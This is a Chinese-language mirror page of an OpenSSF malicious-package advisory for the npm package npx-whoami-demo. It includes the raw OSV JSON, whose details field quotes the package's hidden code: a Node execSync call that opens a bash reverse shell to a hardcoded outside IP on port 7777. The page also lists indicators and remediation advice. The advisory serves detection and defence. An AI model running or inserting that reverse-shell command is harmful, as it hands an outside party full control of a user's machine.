目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

npx-whoami-demo

MAL-2026-5772
2026-07-27 09:45:42
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in npx-whoami-demo (npm)

凭据/密钥窃取远程访问后门
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
203
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmnpx-whoami-demo*
npmnpx-whoami-demo1.0.0
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-27T09:45:42Z","published":"2026-06-14T13:39:01Z","schema_version":"1.7.4","id":"MAL-2026-5772","aliases":["GHSA-3mmq-8798-7f4v"],"summary":"Malicious code in npx-whoami-demo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174)\nThe package's only code file (index.js, also registered as the package's bin entry) unconditionally executes `require('child_process').execSync(\"bash -c \\\"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\\\"\", { stdio: 'inherit' })`. This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs `whoami`, but no `whoami` invocation exists in the code — the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via `npx npx-whoami-demo`, which is the documented usage pattern.\n\n## Source: ghsa-malware (e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"npx-whoami-demo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"e086d4eb615db23b2fc9dc9a01b6814bbd54c07e0e4e65b2cf8a9440adab5d3c","tlsh":"d3c02b50099c12f8fc00dcb87799c4235557387492706830ccce486305ce3e0023c076"}],"ips":["101.43.232.7"],"package_integrity":[{"filename":"npx-whoami-demo-1.0.0.tgz","hashes":{"sha1":"a8644fc227b9163630be5e862a3de08eaa2550f6","sha512_sri":"sha512-1flIEslRCRkGaOv5JKSWC58w2fuwa9Ii6Bw5b2MmVWZ4+7Y8TIO/abQDLA6I/EavtgpHlPdubX0vgL8BY3NtJQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/npx-whoami-demo/v/1.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3mmq-8798-7f4v"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174","import_time":"2026-06-14T14:50:19.607058521Z","id":"IN-MAL-2026-006472","modified_time":"2026-06-14T13:39:01Z","versions":["1.0.0"]},{"source":"amazon-inspector","sha256":"fd8ebad9242ca5fc2abd9e3951a31bb3f4574f6ca07894be2b12468ccd2e5279","import_time":"2026-06-14T14:50:19.680559676Z","id":"IN-MAL-2026-006473","modified_time":"2026-06-14T13:39:02Z","versions":["1.0.0"]},{"source":"ghsa-malware","sha256":"e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9","import_time":"2026-07-27T09:43:03.749178999Z","id":"GHSA-3mmq-8798-7f4v","modified_time":"2026-07-27T05:26:51Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0